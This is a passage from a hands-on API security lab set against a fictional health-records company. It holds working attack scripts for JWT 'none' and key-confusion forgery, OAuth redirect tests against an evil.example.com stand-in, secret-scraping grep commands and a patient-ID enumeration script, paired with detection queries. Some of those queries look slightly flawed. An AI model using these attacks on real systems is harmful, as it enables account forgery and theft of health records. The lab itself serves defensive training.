Skip to content

Lab 28: API Security Testing — OWASP API Top 10 Attacks & Defenses

Chapter: 52 — API Security Framework | 44 — Web App Pentesting Difficulty: ⭐⭐⭐⭐ Advanced Estimated Time: 5–7 hours Prerequisites: Chapter 52, Chapter 44, HTTP fundamentals, JSON/REST basics, basic Python scripting


Overview

In this lab you will:

  1. Perform API reconnaissance — discover endpoints via Swagger/OpenAPI enumeration, detect API versioning schemes, fingerprint backend technologies, and map the complete API attack surface
  2. Execute authentication bypass attacks — exploit JWT algorithm confusion (none algorithm, RS256-to-HS256 key confusion), manipulate OAuth authorization flows, and extract API keys from client-side code
  3. Exploit authorization flaws — perform BOLA/IDOR attacks by manipulating object IDs, escalate privileges via Broken Function Level Authorization (BFLA), and abuse mass assignment to inject administrative fields
  4. Attack GraphQL APIs — leverage introspection queries to map the full schema, execute depth attacks with deeply nested queries, perform batching brute-force against authentication mutations, and exploit field suggestion leakage
  5. Implement defensive controls — configure JSON Schema input validation, deploy rate limiting, enforce JWT algorithm allowlisting, build proper authorization middleware, and apply API gateway security policies
  6. Build detection and monitoring — write KQL and SPL detection queries for every attack type, create WAF rules, configure API anomaly detection, and design API security monitoring dashboards

Synthetic Data Only

All data in this lab is 100% synthetic and fictional. All IP addresses use RFC 5737 (192.0.2.x, 198.51.100.x, 203.0.113.x) or RFC 1918 (10.x, 172.16.x, 192.168.x) reserved ranges. All domains use *.example or *.example.com. All credentials are testuser/REDACTED or admin/REDACTED. All JWT tokens, API keys, and secrets are completely fictitious. This lab is for defensive education only — never use these techniques against systems you do not own or without explicit written authorization.


Scenario

Engagement Brief — MedVault Health Technologies

Organization: MedVault Health Technologies (fictional) Domain: api.example.com (SYNTHETIC) GraphQL Endpoint: graphql.example.com (SYNTHETIC) REST API Base: https://api.example.com/v2 — 192.0.2.50 (SYNTHETIC) GraphQL API: https://graphql.example.com/query — 192.0.2.51 (SYNTHETIC) OAuth Server: https://auth.example.com — 192.0.2.52 (SYNTHETIC) API Gateway: https://gateway.example.com — 192.0.2.53 (SYNTHETIC) Internal API: https://internal-api.example.com — 10.10.50.100 (SYNTHETIC) Admin Portal: https://admin.example.com — 192.0.2.54 (SYNTHETIC) Engagement Type: API security assessment — OWASP API Top 10 coverage Scope: All public and authenticated REST/GraphQL API endpoints Out of Scope: Infrastructure, physical security, social engineering Test Window: 2026-05-12 08:00 – 2026-05-16 20:00 UTC Emergency Contact: soc@medvault.example.com (SYNTHETIC)

Summary: MedVault Health Technologies operates a patient health records platform exposing REST and GraphQL APIs consumed by a web dashboard, mobile applications, and third-party integrations. A recent penetration test flagged several OWASP API Top 10 findings. The CISO has authorized a focused API security assessment to validate vulnerabilities, demonstrate exploitation impact, and deliver detection engineering and hardening recommendations covering authentication, authorization, input validation, and monitoring.


Certification Relevance

Certification Mapping

This lab maps to objectives in the following certifications:

Certification Relevant Domains
CompTIA Security+ (SY0-701) Domain 2: Threats, Vulnerabilities, and Mitigations (22%), Domain 4: Security Operations (28%)
CompTIA CySA+ (CS0-003) Domain 2: Vulnerability Management (22%), Domain 3: Incident Response and Management (22%)
CompTIA PenTest+ (PT0-002) Domain 3: Attacks and Exploits (30%), Domain 4: Reporting and Communication (18%)
CEH (Certified Ethical Hacker) Module 14: Hacking Web Applications, Module 16: Hacking Web Servers
OSCP (Offensive Security Certified Professional) Web Application Attacks, Active Information Gathering
SC-200 (Microsoft Security Operations Analyst) KQL Detection, Custom Analytics Rules, Sentinel Workbooks
GWAPT (GIAC Web Application Penetration Tester) API Testing, Authentication Flaws, Authorization Bypass

Prerequisites

Required Tools

Tool Purpose Version
curl HTTP requests to API endpoints Latest
httpie Human-friendly HTTP client 3.2+
Python 3 + requests Scripted API exploitation 3.10+
jq JSON response parsing 1.7+
jwt_tool JWT token analysis and manipulation 2.6+
Burp Suite Community HTTP proxy and repeater 2024.x
Postman API collection testing Latest
GraphQL Voyager GraphQL schema visualization Latest
nuclei Template-based API vulnerability scanning 3.0+

Required Knowledge

  • HTTP methods (GET, POST, PUT, PATCH, DELETE) and status codes
  • JSON data format and REST API conventions
  • Basic understanding of JWT structure (header.payload.signature)
  • OAuth 2.0 authorization flows (authorization code, implicit, client credentials)
  • GraphQL query syntax basics
  • Python scripting for HTTP requests

Lab Environment Setup

# Install Python dependencies
pip install requests pyjwt cryptography httpie

# Install jwt_tool
git clone https://github.com/ticarpi/jwt_tool.git /opt/jwt_tool
pip install -r /opt/jwt_tool/requirements.txt

# Verify connectivity to lab API (SYNTHETIC)
curl -s -o /dev/null -w "%{http_code}" https://api.example.com/v2/health
# Expected: 200

# Set environment variables for the lab
export API_BASE="https://api.example.com/v2"
export GQL_BASE="https://graphql.example.com/query"
export AUTH_BASE="https://auth.example.com"

ATT&CK Mapping Summary

Phase MITRE ATT&CK Technique Technique ID
Reconnaissance Active Scanning: Vulnerability Scanning T1595.002
Reconnaissance Search Open Technical Databases T1596
Authentication Bypass Valid Accounts: Cloud Accounts T1078.004
Authentication Bypass Forge Web Credentials: Web Cookies T1606.001
Authentication Bypass Steal Application Access Token T1528
Authorization Attacks Abuse Elevation Control Mechanism T1548
Authorization Attacks Access Token Manipulation T1134
GraphQL Exploitation Gather Victim Network Information T1590
GraphQL Exploitation Brute Force: Password Spraying T1110.003
Defense Evasion Impersonation T1656
Collection Data from Information Repositories T1213

Phase 1: API Reconnaissance

Objectives

  • Discover API endpoints through Swagger/OpenAPI specification enumeration
  • Identify API versioning schemes and deprecated endpoints
  • Fingerprint backend technology stack from response headers and error messages
  • Map API parameters and data models from documentation
  • Identify authentication mechanisms and rate limiting policies

ATT&CK Mapping

Technique ID Tactic
Active Scanning: Vulnerability Scanning T1595.002 Reconnaissance
Search Open Technical Databases T1596 Reconnaissance
Gather Victim Host Information: Software T1592.002 Reconnaissance

Step 1.1 — OpenAPI/Swagger Specification Discovery

Attackers begin by probing for publicly exposed API documentation. Many frameworks auto-generate OpenAPI specifications at predictable paths.

# Probe common OpenAPI/Swagger documentation paths
for path in /swagger.json /swagger/v1/swagger.json /openapi.json \
            /api-docs /v2/api-docs /v3/api-docs \
            /swagger-ui.html /swagger-ui/ /docs /redoc \
            /.well-known/openapi.json /api/swagger.json \
            /api/v1/swagger.json /api/v2/swagger.json \
            /api/v3/swagger.json /graphql/schema; do
    status=$(curl -s -o /dev/null -w "%{http_code}" "https://api.example.com${path}")
    if [ "$status" != "404" ] && [ "$status" != "403" ]; then
        echo "[+] Found: https://api.example.com${path} (HTTP $status)"
    fi
done

Expected Output:

[+] Found: https://api.example.com/swagger.json (HTTP 200)
[+] Found: https://api.example.com/v2/api-docs (HTTP 200)
[+] Found: https://api.example.com/swagger-ui/ (HTTP 200)
[+] Found: https://api.example.com/docs (HTTP 301)
# Download and parse the OpenAPI specification
curl -s https://api.example.com/swagger.json | jq '.paths | keys[]' | sort

Expected Output:

"/v2/appointments"
"/v2/appointments/{id}"
"/v2/auth/login"
"/v2/auth/refresh"
"/v2/auth/register"
"/v2/documents/{id}/download"
"/v2/health"
"/v2/internal/admin/users"
"/v2/internal/metrics"
"/v2/patients"
"/v2/patients/{id}"
"/v2/patients/{id}/records"
"/v2/prescriptions"
"/v2/prescriptions/{id}"
"/v2/reports/generate"
"/v2/users/me"
"/v2/users/{id}"

Step 1.2 — API Versioning Detection

Test for older API versions that may lack security controls applied to newer versions.

# Enumerate API versions
for version in v1 v2 v3 v4 beta staging internal; do
    status=$(curl -s -o /dev/null -w "%{http_code}" \
        "https://api.example.com/${version}/health")
    if [ "$status" = "200" ] || [ "$status" = "401" ]; then
        echo "[+] Active version: /${version}/ (HTTP $status)"
    fi
done

Expected Output:

[+] Active version: /v1/ (HTTP 200)
[+] Active version: /v2/ (HTTP 200)
[+] Active version: /internal/ (HTTP 401)
# Compare v1 vs v2 — older versions often lack security controls
# Test if v1 requires authentication
curl -s -w "\nHTTP Status: %{http_code}\n" \
    https://api.example.com/v1/patients

# Same endpoint on v2
curl -s -w "\nHTTP Status: %{http_code}\n" \
    https://api.example.com/v2/patients

Expected Output:

// v1 — no authentication required (VULNERABLE)
[
  {"id": 1001, "name": "Jane Doe", "dob": "1985-03-15"},
  {"id": 1002, "name": "John Smith", "dob": "1990-07-22"}
]
HTTP Status: 200

// v2 — authentication required (SECURE)
{"error": "unauthorized", "message": "Bearer token required"}
HTTP Status: 401

Finding: API1:2023 — Broken Object Level Authorization

The v1 API endpoint returns patient data without any authentication, exposing sensitive health records. This is a critical finding — deprecated API versions must be decommissioned or protected with the same authentication requirements as current versions.


Step 1.3 — Technology Fingerprinting

Extract technology stack information from HTTP response headers and error messages.

# Capture full response headers
curl -s -I https://api.example.com/v2/health

Expected Output:

HTTP/2 200
server: nginx/1.24.0
x-powered-by: Express
x-request-id: 7f3a8b2c-1d4e-4f5a-9c8b-2e6d7f8a9b0c
x-ratelimit-limit: 100
x-ratelimit-remaining: 99
x-ratelimit-reset: 1715500800
content-type: application/json; charset=utf-8
strict-transport-security: max-age=31536000
x-content-type-options: nosniff
# Trigger error responses to gather stack information
curl -s https://api.example.com/v2/nonexistent-endpoint | jq .

Expected Output:

{
  "error": "not_found",
  "message": "Cannot GET /v2/nonexistent-endpoint",
  "statusCode": 404,
  "stack": "Error: Cannot GET /v2/nonexistent-endpoint\n    at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5)"
}

Finding: Stack Trace Exposure

The API leaks framework details (Express/Node.js) and file paths in error responses. Attackers use this to target framework-specific vulnerabilities. Stack traces must be suppressed in production (NODE_ENV=production).


Step 1.4 — Parameter Discovery and Endpoint Enumeration

# Enumerate accepted HTTP methods per endpoint
for method in GET POST PUT PATCH DELETE OPTIONS HEAD; do
    status=$(curl -s -o /dev/null -w "%{http_code}" \
        -X "$method" https://api.example.com/v2/patients)
    echo "$method /v2/patients → HTTP $status"
done

Expected Output:

GET /v2/patients → HTTP 401
POST /v2/patients → HTTP 401
PUT /v2/patients → HTTP 405
PATCH /v2/patients → HTTP 405
DELETE /v2/patients → HTTP 405
OPTIONS /v2/patients → HTTP 204
HEAD /v2/patients → HTTP 401
# Extract CORS and allowed methods from OPTIONS response
curl -s -I -X OPTIONS https://api.example.com/v2/patients

Expected Output:

HTTP/2 204
access-control-allow-origin: *
access-control-allow-methods: GET, POST, PUT, PATCH, DELETE, OPTIONS
access-control-allow-headers: Content-Type, Authorization, X-API-Key
access-control-max-age: 86400

Finding: Overly Permissive CORS

Access-Control-Allow-Origin: * allows any website to make authenticated API requests on behalf of the user. This must be restricted to trusted origins.


Step 1.5 — Authenticated Endpoint Mapping

# Obtain a test token (SYNTHETIC — all credentials are fictitious)
TOKEN=$(curl -s -X POST https://api.example.com/v2/auth/login \
    -H "Content-Type: application/json" \
    -d '{"username":"testuser","password":"REDACTED"}' | jq -r '.token')

echo "Token: ${TOKEN:0:20}..."

# Enumerate authenticated endpoints
for endpoint in /v2/users/me /v2/patients /v2/patients/1001 \
    /v2/prescriptions /v2/appointments /v2/reports/generate \
    /v2/internal/admin/users /v2/internal/metrics; do
    status=$(curl -s -o /dev/null -w "%{http_code}" \
        -H "Authorization: Bearer $TOKEN" \
        "https://api.example.com${endpoint}")
    echo "[${status}] ${endpoint}"
done

Expected Output:

Token: eyJhbGciOiJSUzI1Ni...
[200] /v2/users/me
[200] /v2/patients
[200] /v2/patients/1001
[200] /v2/prescriptions
[200] /v2/appointments
[403] /v2/reports/generate
[403] /v2/internal/admin/users
[403] /v2/internal/metrics

Phase 1 — Detection Queries

KQL — API Reconnaissance Detection (Microsoft Sentinel)

// Detect API documentation enumeration attempts
let swagger_paths = dynamic([
    "/swagger.json", "/openapi.json", "/api-docs",
    "/swagger-ui", "/redoc", "/.well-known/openapi"
]);
ApiAccessLogs
| where TimeGenerated > ago(15m)
| where RequestPath has_any (swagger_paths)
| summarize
    AttemptCount = count(),
    PathsProbed = make_set(RequestPath),
    StatusCodes = make_set(ResponseCode)
    by SourceIP, bin(TimeGenerated, 5m)
| where AttemptCount >= 3
| extend AlertSeverity = "Medium",
    AttackTechnique = "T1595.002 - Active Scanning"
| project TimeGenerated, SourceIP, AttemptCount, PathsProbed, StatusCodes, AlertSeverity
// Detect API version enumeration
ApiAccessLogs
| where TimeGenerated > ago(15m)
| where RequestPath matches regex @"/(v\d+|beta|staging|internal)/"
| summarize
    VersionsTested = dcount(extract(@"/(v\d+|beta|staging|internal)/", 1, RequestPath)),
    Paths = make_set(RequestPath),
    RequestCount = count()
    by SourceIP, bin(TimeGenerated, 5m)
| where VersionsTested >= 3
| extend AlertSeverity = "Medium"

SPL — API Reconnaissance Detection (Splunk)

index=api_logs sourcetype=api_access
| eval is_swagger=if(match(uri_path, "(?i)(swagger|openapi|api-docs|redoc|\.well-known)"), 1, 0)
| where is_swagger=1
| stats count AS attempt_count
    values(uri_path) AS paths_probed
    values(status) AS status_codes
    dc(uri_path) AS unique_paths
    by src_ip span=5m
| where attempt_count >= 3
| eval severity="Medium",
    mitre_technique="T1595.002"
| Detect HTTP method enumeration against a single endpoint
index=api_logs sourcetype=api_access
| stats dc(http_method) AS method_count
    values(http_method) AS methods_tested
    count AS total_requests
    by src_ip uri_path span=10m
| where method_count >= 4
| eval severity="Medium",
    alert_title="HTTP Method Enumeration: ".uri_path

Phase 2: Authentication Bypass

Objectives

  • Exploit JWT none algorithm vulnerability to forge unsigned tokens
  • Perform RS256-to-HS256 algorithm confusion using the public key
  • Manipulate OAuth authorization code flow to hijack sessions
  • Extract API keys embedded in client-side JavaScript
  • Identify and exploit broken authentication patterns

ATT&CK Mapping

Technique ID Tactic
Forge Web Credentials: Web Cookies T1606.001 Credential Access
Steal Application Access Token T1528 Credential Access
Valid Accounts: Cloud Accounts T1078.004 Persistence
Unsecured Credentials: Credentials in Files T1552.001 Credential Access

Step 2.1 — JWT Token Analysis

Decode and analyze the structure of the JWT received during authentication.

# Authenticate and capture the JWT (SYNTHETIC)
RESPONSE=$(curl -s -X POST https://api.example.com/v2/auth/login \
    -H "Content-Type: application/json" \
    -d '{"username":"testuser","password":"REDACTED"}')

TOKEN=$(echo "$RESPONSE" | jq -r '.token')

# Decode JWT header (base64url decode)
echo "$TOKEN" | cut -d. -f1 | base64 -d 2>/dev/null | jq .

Expected Output:

{
  "alg": "RS256",
  "typ": "JWT",
  "kid": "medvault-key-2026-01"
}
# Decode JWT payload
echo "$TOKEN" | cut -d. -f2 | base64 -d 2>/dev/null | jq .

Expected Output:

{
  "sub": "user-5847",
  "username": "testuser",
  "email": "testuser@example.com",
  "role": "patient",
  "permissions": ["read:own_records", "write:own_appointments"],
  "iat": 1715500800,
  "exp": 1715504400,
  "iss": "https://auth.example.com",
  "aud": "medvault-api"
}

Step 2.2 — JWT none Algorithm Attack

The none algorithm tells the server the token needs no signature verification. If the server accepts it, an attacker can forge any claim.

#!/usr/bin/env python3
"""JWT 'none' algorithm attack — EDUCATIONAL ONLY (SYNTHETIC)"""

import base64
import json
import requests

API_BASE = "https://api.example.com/v2"  # SYNTHETIC

def base64url_encode(data: bytes) -> str:
    return base64.urlsafe_b64encode(data).rstrip(b'=').decode()

# Craft a JWT with alg: none and escalated privileges
header = {"alg": "none", "typ": "JWT"}
payload = {
    "sub": "user-5847",
    "username": "testuser",
    "email": "testuser@example.com",
    "role": "admin",                          # Escalated from "patient"
    "permissions": ["admin:all", "read:all_records", "write:all"],
    "iat": 1715500800,
    "exp": 1715590800,
    "iss": "https://auth.example.com",
    "aud": "medvault-api"
}

# Build the unsigned JWT: header.payload.
forged_token = (
    base64url_encode(json.dumps(header).encode()) + "." +
    base64url_encode(json.dumps(payload).encode()) + "."
)

print(f"[*] Forged JWT (none algorithm):")
print(f"    {forged_token[:60]}...")

# Attempt to use the forged token
response = requests.get(
    f"{API_BASE}/users/me",
    headers={"Authorization": f"Bearer {forged_token}"}
)

print(f"\n[*] Response Status: {response.status_code}")
print(f"[*] Response Body: {json.dumps(response.json(), indent=2)}")

if response.status_code == 200:
    user_data = response.json()
    if user_data.get("role") == "admin":
        print("\n[!] CRITICAL: 'none' algorithm accepted — admin access achieved!")
    else:
        print("\n[+] Token accepted but role not escalated")
else:
    print("\n[+] Server correctly rejected 'none' algorithm token")

Expected Output (Vulnerable Server):

[*] Forged JWT (none algorithm):
    eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJ1c2VyLTU4...
[*] Response Status: 200
[*] Response Body: {
  "sub": "user-5847",
  "username": "testuser",
  "role": "admin",
  "permissions": ["admin:all", "read:all_records", "write:all"]
}

[!] CRITICAL: 'none' algorithm accepted — admin access achieved!

Finding: API2:2023 — Broken Authentication

The API accepts JWTs with alg: none, allowing any user to forge tokens with arbitrary claims. This is a critical vulnerability — the server must maintain an explicit allowlist of accepted algorithms and reject all others.


Step 2.3 — RS256-to-HS256 Algorithm Confusion

When a server uses RS256 (asymmetric), the public key verifies tokens. If the server also accepts HS256 (symmetric), an attacker can sign a forged token using the public key as the HMAC secret.

# Step 1: Retrieve the server's public key (often exposed via JWKS)
curl -s https://auth.example.com/.well-known/jwks.json | jq .

Expected Output:

{
  "keys": [
    {
      "kty": "RSA",
      "kid": "medvault-key-2026-01",
      "use": "sig",
      "n": "wqN5K9PgQ...truncated...SYNTHETIC",
      "e": "AQAB",
      "alg": "RS256"
    }
  ]
}
#!/usr/bin/env python3
"""RS256-to-HS256 algorithm confusion attack — EDUCATIONAL ONLY (SYNTHETIC)"""

import hmac
import hashlib
import base64
import json
import requests

API_BASE = "https://api.example.com/v2"  # SYNTHETIC

def base64url_encode(data: bytes) -> str:
    return base64.urlsafe_b64encode(data).rstrip(b'=').decode()

# Step 1: Download the public key (PEM format)
# In a real engagement, convert JWKS to PEM or download from /public-key endpoint
PUBLIC_KEY_PEM = """-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0SYNTHETIC...
REDACTED...EXAMPLE...ONLY
-----END PUBLIC KEY-----"""

# Step 2: Forge a token with HS256 using the public key as HMAC secret
header = {"alg": "HS256", "typ": "JWT"}
payload = {
    "sub": "user-5847",
    "username": "testuser",
    "role": "admin",
    "permissions": ["admin:all"],
    "iat": 1715500800,
    "exp": 1715590800,
    "iss": "https://auth.example.com",
    "aud": "medvault-api"
}

# Encode header and payload
header_b64 = base64url_encode(json.dumps(header).encode())
payload_b64 = base64url_encode(json.dumps(payload).encode())
signing_input = f"{header_b64}.{payload_b64}".encode()

# Sign with HMAC-SHA256 using the public key as the secret
signature = hmac.new(
    PUBLIC_KEY_PEM.encode(),
    signing_input,
    hashlib.sha256
).digest()

forged_token = f"{header_b64}.{payload_b64}.{base64url_encode(signature)}"

print(f"[*] Forged JWT (HS256 with public key as secret):")
print(f"    {forged_token[:60]}...")

# Test the forged token
response = requests.get(
    f"{API_BASE}/internal/admin/users",
    headers={"Authorization": f"Bearer {forged_token}"}
)

print(f"\n[*] Admin endpoint status: {response.status_code}")
if response.status_code == 200:
    print("[!] CRITICAL: Algorithm confusion successful — admin access!")
    print(f"[*] Admin users: {json.dumps(response.json()[:2], indent=2)}")
else:
    print("[+] Server correctly rejected HS256 token (algorithm pinned)")

Expected Output (Vulnerable Server):

[*] Forged JWT (HS256 with public key as secret):
    eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJ1c2VyLTU4...

[*] Admin endpoint status: 200
[!] CRITICAL: Algorithm confusion successful — admin access!
[*] Admin users: [
  {"id": "user-0001", "username": "admin", "role": "admin"},
  {"id": "user-0002", "username": "sysadmin", "role": "admin"}
]

Step 2.4 — JWT Manipulation with jwt_tool

# Analyze the token with jwt_tool
python3 /opt/jwt_tool/jwt_tool.py "$TOKEN"

# Test all known JWT attacks automatically
python3 /opt/jwt_tool/jwt_tool.py "$TOKEN" -M at \
    -t "https://api.example.com/v2/users/me" \
    -rh "Authorization: Bearer"

# Tamper specific claims — change role to admin
python3 /opt/jwt_tool/jwt_tool.py "$TOKEN" -T \
    -S hs256 -p "REDACTED-public-key" \
    -pc role -pv admin

Expected Output:

[+] jwt_tool v2.6.1
[+] Token header:
    {"alg": "RS256", "typ": "JWT", "kid": "medvault-key-2026-01"}
[+] Token payload:
    {"sub": "user-5847", "username": "testuser", "role": "patient", ...}
[+] Signature verified: True
[+] Running all attack modes...
    [!] VULNERABLE: "none" algorithm accepted
    [!] VULNERABLE: HS256 key confusion possible
    [+] NOT VULNERABLE: jwk injection
    [+] NOT VULNERABLE: kid SQL injection

Step 2.5 — OAuth Flow Manipulation

# Step 1: Observe the legitimate OAuth authorization flow
curl -v "https://auth.example.com/authorize?\
client_id=medvault-web-app&\
redirect_uri=https://app.example.com/callback&\
response_type=code&\
scope=read:records write:appointments&\
state=random-csrf-token-abc123" 2>&1 | grep -i "location:"

Expected Output:

< Location: https://app.example.com/callback?code=AUTH_CODE_SYNTHETIC_XYZ&state=random-csrf-token-abc123
# Step 2: Test open redirect in redirect_uri (SYNTHETIC)
curl -s -o /dev/null -w "%{http_code}" \
    "https://auth.example.com/authorize?\
client_id=medvault-web-app&\
redirect_uri=https://evil.example.com/steal&\
response_type=code&\
scope=read:records&\
state=attacker-state"

Expected Output (Vulnerable):

302

Finding: OAuth Redirect URI Manipulation

The authorization server does not strictly validate the redirect_uri parameter, allowing an attacker to redirect the authorization code to an attacker-controlled domain. The server must enforce an exact match against pre-registered redirect URIs.

# Step 3: Test for authorization code reuse
AUTH_CODE="AUTH_CODE_SYNTHETIC_XYZ"

# First use — should succeed
curl -s -X POST https://auth.example.com/token \
    -H "Content-Type: application/x-www-form-urlencoded" \
    -d "grant_type=authorization_code&code=${AUTH_CODE}&\
client_id=medvault-web-app&client_secret=REDACTED&\
redirect_uri=https://app.example.com/callback"

# Second use — should fail (but doesn't on vulnerable servers)
curl -s -X POST https://auth.example.com/token \
    -H "Content-Type: application/x-www-form-urlencoded" \
    -d "grant_type=authorization_code&code=${AUTH_CODE}&\
client_id=medvault-web-app&client_secret=REDACTED&\
redirect_uri=https://app.example.com/callback"

Step 2.6 — API Key Extraction from Client-Side Code

# Search client-side JavaScript for embedded API keys
curl -s https://app.example.com/ | grep -oE "api[_-]?key['\"]?\s*[:=]\s*['\"][a-zA-Z0-9_-]+['\"]"

Expected Output:

api_key: 'mk_live_SYNTHETIC_a1b2c3d4e5f6g7h8i9j0'
apiKey="mk_test_SYNTHETIC_z9y8x7w6v5u4t3s2r1q0"
# Search JavaScript source maps for additional secrets
curl -s https://app.example.com/static/js/main.js.map | \
    grep -oE "(api[_-]?key|secret|token|password|auth)['\"]?\s*[:=]\s*['\"][^'\"]+['\"]" | head -10

Expected Output:

apiKey="mk_live_SYNTHETIC_a1b2c3d4e5f6g7h8i9j0"
secret: 'jwt_signing_secret_SYNTHETIC_REDACTED'
token: 'internal-service-token-SYNTHETIC-REDACTED'

Finding: API8:2023 — Security Misconfiguration

API keys and secrets are embedded in client-side JavaScript and source maps. These credentials provide direct API access without user authentication. Secrets must never be included in client-side code — use backend-for-frontend (BFF) patterns or token exchange flows.


Phase 2 — Detection Queries

KQL — JWT Algorithm Attacks

// Detect JWT 'none' algorithm usage
ApiAccessLogs
| where TimeGenerated > ago(1h)
| where AuthHeader startswith "Bearer "
| extend JwtHeader = base64_decode_tostring(
    extract(@"Bearer\s+([^.]+)\.", 1, AuthHeader))
| where JwtHeader has "\"none\""
    or JwtHeader has "\"None\""
    or JwtHeader has "\"NONE\""
    or JwtHeader has "\"nOnE\""
| project TimeGenerated, SourceIP, RequestPath, UserAgent,
    JwtHeader, ResponseCode
| extend AlertSeverity = "Critical",
    AttackTechnique = "T1606.001 - Forge Web Credentials"
// Detect RS256-to-HS256 algorithm confusion
ApiAccessLogs
| where TimeGenerated > ago(1h)
| where AuthHeader startswith "Bearer "
| extend JwtHeader = base64_decode_tostring(
    extract(@"Bearer\s+([^.]+)\.", 1, AuthHeader))
| extend ClaimedAlg = extract(@"""alg""\s*:\s*""([^""]+)""", 1, JwtHeader)
| where ClaimedAlg == "HS256"
    and RequestPath has "admin" or RequestPath has "internal"
| project TimeGenerated, SourceIP, RequestPath, ClaimedAlg,
    ResponseCode, UserAgent
| extend AlertSeverity = "Critical",
    AttackTechnique = "T1606.001 - Algorithm Confusion"

SPL — JWT Algorithm Attacks

index=api_logs sourcetype=api_access
| rex field=auth_header "Bearer\s+(?<jwt_header>[^.]+)\."
| eval decoded_header=base64decode(jwt_header)
| search decoded_header="*\"alg\":\"none\"*" OR decoded_header="*\"alg\":\"None\"*"
| table _time src_ip uri_path decoded_header status user_agent
| eval severity="Critical",
    mitre_technique="T1606.001",
    alert_name="JWT None Algorithm Attack"
| Detect OAuth redirect_uri manipulation
index=auth_logs sourcetype=oauth_server action=authorize
| rex field=redirect_uri "https?://(?<redirect_domain>[^/]+)"
| lookup registered_redirect_uris client_id OUTPUT allowed_domains
| where NOT match(redirect_domain, allowed_domains)
| table _time src_ip client_id redirect_uri redirect_domain
| eval severity="High",
    mitre_technique="T1528"

Phase 3: Authorization Attacks

Objectives

  • Exploit Broken Object Level Authorization (BOLA/IDOR) by manipulating object identifiers
  • Escalate privileges through Broken Function Level Authorization (BFLA)
  • Abuse mass assignment to inject administrative fields into API requests
  • Chain authorization flaws to achieve full data access

ATT&CK Mapping

Technique ID Tactic
Abuse Elevation Control Mechanism T1548 Privilege Escalation
Access Token Manipulation T1134 Defense Evasion
Data from Information Repositories T1213 Collection
Exploitation for Privilege Escalation T1068 Privilege Escalation

Step 3.1 — BOLA/IDOR Exploitation

Broken Object Level Authorization (BOLA), also known as Insecure Direct Object Reference (IDOR), occurs when the API does not verify that the authenticated user is authorized to access the specific object they request.

# Authenticate as testuser (patient role)
TOKEN=$(curl -s -X POST https://api.example.com/v2/auth/login \
    -H "Content-Type: application/json" \
    -d '{"username":"testuser","password":"REDACTED"}' | jq -r '.token')

# Access our own patient record (ID: 1001) — should succeed
curl -s -H "Authorization: Bearer $TOKEN" \
    https://api.example.com/v2/patients/1001 | jq .

Expected Output:

{
  "id": 1001,
  "name": "Test User",
  "email": "testuser@example.com",
  "dob": "1985-03-15",
  "ssn": "***-**-5847",
  "records": [
    {"type": "lab_result", "date": "2026-03-15", "status": "normal"}
  ]
}
# Access another patient's record (ID: 1002) — SHOULD FAIL but doesn't
curl -s -H "Authorization: Bearer $TOKEN" \
    https://api.example.com/v2/patients/1002 | jq .

Expected Output (Vulnerable):

{
  "id": 1002,
  "name": "Jane Doe",
  "email": "janedoe@example.com",
  "dob": "1990-07-22",
  "ssn": "***-**-3921",
  "records": [
    {"type": "prescription", "date": "2026-04-01", "medication": "REDACTED"}
  ]
}

Finding: API1:2023 — Broken Object Level Authorization (Critical)

The /v2/patients/{id} endpoint does not verify that the authenticated user owns the requested patient record. By incrementing the ID parameter, an attacker can access any patient's health data — including SSN, medical records, and prescriptions. This is the #1 API vulnerability per OWASP.

#!/usr/bin/env python3
"""BOLA/IDOR enumeration script — EDUCATIONAL ONLY (SYNTHETIC)"""

import requests
import json

API_BASE = "https://api.example.com/v2"  # SYNTHETIC
TOKEN = "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.SYNTHETIC.REDACTED"

headers = {"Authorization": f"Bearer {TOKEN}"}
exposed_records = []

print("[*] Starting BOLA enumeration on /v2/patients/{id}")
print("[*] Testing IDs 1000-1050...\n")

for patient_id in range(1000, 1051):
    response = requests.get(
        f"{API_BASE}/patients/{patient_id}",
        headers=headers
    )

    if response.status_code == 200:
        data = response.json()
        print(f"[+] ID {patient_id}: {data.get('name', 'Unknown')} — "
              f"DOB: {data.get('dob', 'N/A')}")
        exposed_records.append(data)
    elif response.status_code == 404:
        pass  # Record doesn't exist
    elif response.status_code == 403:
        print(f"[-] ID {patient_id}: Access denied (properly protected)")
    elif response.status_code == 429:
        print(f"[!] ID {patient_id}: Rate limited — pausing")
        break

print(f"\n[*] Total records accessed: {len(exposed_records)}")
print(f"[!] BOLA/IDOR confirmed — {len(exposed_records)} patient records exposed")

Expected Output:

[*] Starting BOLA enumeration on /v2/patients/{id}
[*] Testing IDs 1000-1050...

[+] ID 1001: Test User — DOB: 1985-03-15
[+] ID 1002: Jane Doe — DOB: 1990-07-22
[+] ID 1003: John Smith — DOB: 1978-11-08
[+] ID 1005: Maria Garcia — DOB: 1992-06-30
[+] ID 1007: Robert Chen — DOB: 1988-01-17
...
[*] Total records accessed: 34
[!] BOLA/IDOR confirmed — 34 patient records exposed

Step 3.2 — BOLA via Non-Sequential Identifiers

BOLA is not limited to sequential integer IDs. UUIDs, slugs, and other identifier formats are also vulnerable if authorization checks are missing.

# Test BOLA with UUID-based identifiers
curl -s -H "Authorization: Bearer $TOKEN" \
    https://api.example.com/v2/documents/d4e5f6a7-b8c9-4d0e-a1f2-3b4c5d6e7f8g/download

# Test BOLA with slug-based identifiers
curl -s -H "Authorization: Bearer $TOKEN" \
    https://api.example.com/v2/appointments/APT-2026-0415-SMITH

# Test BOLA on write operations (modify another user's appointment)
curl -s -X PATCH \
    -H "Authorization: Bearer $TOKEN" \
    -H "Content-Type: application/json" \
    -d '{"status": "cancelled"}' \
    https://api.example.com/v2/appointments/APT-2026-0415-SMITH

Expected Output (Vulnerable):

{
  "id": "APT-2026-0415-SMITH",
  "patient": "John Smith",
  "status": "cancelled",
  "message": "Appointment updated successfully"
}

Step 3.3 — Broken Function Level Authorization (BFLA)

BFLA occurs when the API does not properly restrict access to administrative functions based on the user's role.

# Attempt to access admin endpoints with a patient-role token

# List all users (admin function)
curl -s -H "Authorization: Bearer $TOKEN" \
    https://api.example.com/v2/internal/admin/users | jq '.[:3]'

Expected Output (Vulnerable):

[
  {
    "id": "user-0001",
    "username": "admin",
    "email": "admin@example.com",
    "role": "admin",
